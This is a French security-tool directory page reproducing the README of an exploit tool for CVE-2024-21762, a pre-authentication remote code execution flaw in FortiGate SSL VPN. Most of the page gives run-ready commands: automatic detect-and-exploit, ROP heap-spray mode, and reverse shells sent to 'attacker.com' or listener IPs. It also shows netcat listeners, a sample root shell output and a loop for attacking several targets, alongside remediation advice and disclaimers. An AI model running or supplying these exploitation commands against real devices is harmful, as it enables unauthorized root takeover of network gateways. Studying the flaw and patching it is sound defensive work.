Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-21762 — Détecte et exploite la CVE-2024-21762, une RCE pré-authentification dans FortiGate SSL VPN, avec validation de référence, exploitation automatique, mode ROP heap-spray et reverse shell. | Kitploit
Outils/GitHubGitHub/0x13-bytezer0/cve-2024-21762
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHub0x13-bytezer0/cve-2024-21762

CVE-2024-21762

Détecte et exploite la CVE-2024-21762, une RCE pré-authentification dans FortiGate SSL VPN, avec validation de référence, exploitation automatique, mode ROP heap-spray et reverse shell.

Voir le dépôt
il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-21762 - FortiGate SSL VPN RCE Detection & Exploitation Tool

Python 3.7+ License Vulnerability: Critical

Outil de détection et d'exploitation pour CVE-2024-21762 - Vulnérabilité critique dans FortiGate SSL VPN

⚠️ AVERTISSEMENT LÉGAL : Cet outil est exclusivement destiné à une utilisation dans des environnements de test autorisés. Toute utilisation non autorisée sur des systèmes est ILLÉGALE et peut entraîner de graves conséquences juridiques.

Aperçu

CVE-2024-21762 est une vulnérabilité critique dans les composants FortiGate SSL VPN qui permet une exécution de code à distance (RCE) sans authentification préalable. Le défaut réside dans un parsing vulnérable des requêtes HTTP avec Transfer-Encoding chunked, entraînant une écriture hors limites dans le composant sslvpnd.

Détails Techniques

AttributInformation
CVE IDCVE-2024-21762
VulnérabilitéOut-of-bounds write dans sslvpnd
TypeExécution de code à distance (RCE) sans authentification
Score CVSS9.8 (Critique)
Composant affectéFortiOS SSL VPN
Versions vulnérables7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2

Fonctionnalités

✅ Détection de vulnérabilité - Identifie les FortiGate vulnérables via des requêtes malformées
✅ Test de référence - Vérifie le comportement normal du serveur avant les tests
✅ Mode automatique - Détecte la vulnérabilité et l'exploite automatiquement
✅ Reverse Shell - Prend en charge un reverse shell bash avec configuration IP/port
✅ Validation des entrées - Valide les adresses IP et les ports avant l'exploitation
✅ Rapports détaillés - Génère des rapports avec des recommandations de correction
✅ Gestion robuste des erreurs - Gestion sécurisée des connexions et des exceptions

Prérequis

  • Python 3.7 ou supérieur
  • Modules standards de la bibliothèque Python (socket, ssl, argparse, datetime, time, re)
  • Accès réseau à la cible (port 443 ou personnalisé)

Installation

root@kitploit:~
# Clonez le dépôt
git clone https://github.com/votre-utilisateur/CVE-2024-21762.git
cd CVE-2024-21762

# Vérifiez la syntaxe
python -m py_compile EXPLOIT.py

# Exécutez le script
python EXPLOIT.py -h

Utilisation

Utilisation de base

root@kitploit:~
# Test de détection simple
python EXPLOIT.py 192.168.1.100

# Avec un port personnalisé
python EXPLOIT.py 192.168.1.100 -p 8443

# Avec un délai d'attente augmenté
python EXPLOIT.py 192.168.1.100 --timeout 20

Mode automatique (Détection + Exploitation)

root@kitploit:~
# Mode automatique avec reverse shell préconfiguré
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# Mode automatique sans informations d'identification (demande interactive)
python EXPLOIT.py 192.168.1.100 --auto

Mode ROP - Exploitation avancée avec Heap Spray

Le mode ROP implémente une exploitation en deux étapes avec heap spray pour des cibles spécifiques (FortiOS 7.4.2) :

root@kitploit:~
# Exploitation ROP avec reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# Avec un port personnalisé
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# Avec un délai d'attente augmenté pour les cibles lentes
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

Flux d'exploitation ROP :

  1. Étape 1 : Envoi d'un heap spray de 1,8 Mo avec des gadgets ROP
  2. Attente de 2 secondes pour que le CPU traite
  3. Étape 2 : Déclenchement de l'écriture hors limites avec un chunk de 4137 octets
  4. Attente de 3 secondes pour l'exécution de la charge utile
  5. Connexion reverse Node.js établie

Sur votre serveur d'écoute :

root@kitploit:~
# Linux/Mac/Windows avec netcat
nc -lnvp 4242

# Sortie attendue :
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ Remarque importante : Le mode ROP est optimisé pour FortiOS 7.4.2.F-build2571. D'autres versions peuvent ne pas fonctionner en raison des offsets hardcodés de la chaîne ROP.

Test manuel avec Reverse Shell

root@kitploit:~
# Envoyer une charge utile de reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# Combinaison de plusieurs options
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

Options disponibles

root@kitploit:~
positional arguments:
  target                    Nom d'hôte ou IP de la cible à tester

optional arguments:
  -h, --help               Affiche ce message d'aide
  -t, --target HOSTNAME    Nom d'hôte ou IP de la cible (alternatif)
  -p, --port PORT          Port SSL VPN (défaut : 443)
  --timeout SECONDS        Délai d'attente en secondes (défaut : 10)
  -li, --lhost IP          Adresse IP locale pour recevoir le reverse shell
  -lp, --lport PORT        Port local pour recevoir le reverse shell
  --no-baseline            Ignorer le test de référence
  --auto                   Mode automatique : détecte et exploite
  --rop                    Mode ROP : exploitation avancée avec heap spray (FortiOS 7.4.2)
  -v, --version            Affiche la version du script

Exemples d'utilisation complets

1. Détection simple

root@kitploit:~
python EXPLOIT.py 192.168.1.100

Résultat attendu en cas de vulnérabilité :

root@kitploit:~
[+] Démarrage du test de vulnérabilité...
[!] VULNÉRABLE DÉTECTÉ !
[!] Le serveur a fermé la connexion brusquement
[!] STATUT : VULNÉRABLE

2. Exploitation automatique avec Reverse Shell

root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

Sur votre serveur :

root@kitploit:~
# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. Test sur plusieurs cibles

root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

Fonctionnement

Flux de détection

  1. Test de référence - Envoie une requête HTTP normale pour vérifier le comportement standard
  2. Requête malformée - Envoie une requête HTTP malformée avec un encodage chunked vulnérable
  3. Analyse - Analyse la réponse pour détecter les signes de vulnérabilité :
    • Fermeture brusque de la connexion
    • Délai d'attente/plantage du serveur
    • Alertes TLS anormales
  4. Rapport - Génère un rapport avec le statut et des recommandations

Flux d'exploitation (mode automatique)

  1. Exécute un test de détection
  2. Si vulnérable, injecte la charge utile du reverse shell
  3. Attend la connexion inverse
  4. Génère le rapport final

Indicateurs de vulnérabilité

L'outil considère une cible comme vulnérable lorsqu'il détecte l'un des comportements suivants :

  • ✓ Connexion fermée brusquement (réponse vide)
  • ✓ Délai d'attente après l'envoi de la charge utile (plantage du serveur)
  • ✓ Alerte TLS reçue (sslvpnd planté)
  • ✓ Réinitialisation de connexion par le pair

Versions affectées

VersionDétectionMode ROPStatut
FortiOS 7.0.0 - 7.0.13✅ Oui❌ Non⚠️ VULNÉRABLE
FortiOS 7.2.0 - 7.2.6✅ Oui❌ Non⚠️ VULNÉRABLE
FortiOS 7.4.0 - 7.4.1✅ Oui❌ Non⚠️ VULNÉRABLE
FortiOS 7.4.2 (build≤2571)✅ Oui✅ Oui⚠️ VULNÉRABLE
FortiOS 7.4.3+❌ Non❌ Non✅ CORRIGÉ

Correction

Actions immédiates

  1. Mettre à jour FortiOS vers une version corrigée :

    • FortiOS 7.0.14+
    • FortiOS 7.2.7+
    • FortiOS 7.4.3+
  2. Isolement temporaire

    • Désactiver l'accès externe au SSL VPN
    • Restreindre l'accès administratif
  3. Surveillance

    • Examiner les journaux pour détecter des signes d'exploitation
    • Vérifier les informations d'identification et les accès anormaux

Vérification ultérieure

root@kitploit:~
# Vérifier la version de FortiOS
python EXPLOIT.py votre-fortinet.com

Si le résultat indique "NON VULNÉRABLE", le correctif a été appliqué avec succès.

Structure du projet

root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py          # Script principal d'exploitation
├── README.md           # Ce fichier
├── LICENSE             # Licence MIT
└── .gitignore          # Configuration Git

Méthodes de la classe

CVE2024_21762_Detector

MéthodeDescription
test_vulnerability()Teste la vulnérabilité en envoyant une requête malformée
exploit(lhost, lport)Exploite la vulnérabilité avec un reverse shell
test_baseline()Teste le comportement normal du serveur
generate_report()Génère le rapport final avec le statut
_create_ssl_context()Crée un contexte SSL réutilisable
_create_socket_connection()Crée une connexion TLS sécurisée
_close_socket(sock)Ferme le socket de manière sécurisée
_is_valid_ip(ip_str)Valide le format de l'adresse IP

Gestion des erreurs

L'outil implémente :

  • ✓ Validation robuste des entrées
  • ✓ Gestion des exceptions SSL/TLS
  • ✓ Délai d'attente sur les connexions
  • ✓ Fermeture sécurisée des sockets
  • ✓ Messages d'erreur descriptifs

Limitations

  • ⚠️ Nécessite une connectivité réseau vers la cible
  • ⚠️ Détecte la vulnérabilité mais ne garantit pas une exploitation réussie
  • ⚠️ Le reverse shell dépend de l'environnement cible (nécessite bash)
  • ⚠️ Ne fonctionne pas avec un pare-feu restrictif

FAQ

P : Est-il possible de l'utiliser sur un environnement Windows ?
R : Oui, le script Python fonctionne sous Windows, mais le reverse shell bash par défaut ne fonctionnera pas. Vous auriez besoin d'une charge utile personnalisée.

P : Comment savoir si l'exploitation a réussi ?
R : Vérifiez la machine qui écoute pour le reverse shell (nc/ncat). Le script affichera des messages indiquant la progression.

P : Puis-je l'utiliser contre plusieurs cibles ?
R : Oui, vous pouvez créer un script bash/PowerShell pour itérer sur une liste d'adresses IP.

P : Quelle est la différence entre le mode normal et le mode automatique ?
R : Le mode automatique exploite automatiquement si une vulnérabilité est trouvée. Le mode normal se contente de détecter.

Contribuer

Vous avez trouvé un bug ou des suggestions ? Ouvrez un issue ou faites une pull request !

Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

Avertissement

Ce logiciel est fourni "en l'état" à des fins de recherche et de tests autorisés. Les auteurs ne sont pas responsables de :

  • Dommages causés par une utilisation non autorisée
  • Perte de données
  • Impact sur les systèmes de production
  • Conséquences juridiques d'une utilisation non autorisée

UTILISEZ-LE DE MANIÈRE RESPONSABLE ET UNIQUEMENT DANS DES ENVIRONNEMENTS AUTORISÉS

Références

  • Avis de sécurité Fortinet
  • NVD - CVE-2024-21762
  • Calculateur CVSS

Auteur

Développé à des fins éducatives et de recherche en cybersécurité.


⚠️ Souvenez-vous : N'utilisez cet outil que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. L'exploitation non autorisée est un crime.

Télécharger l’outil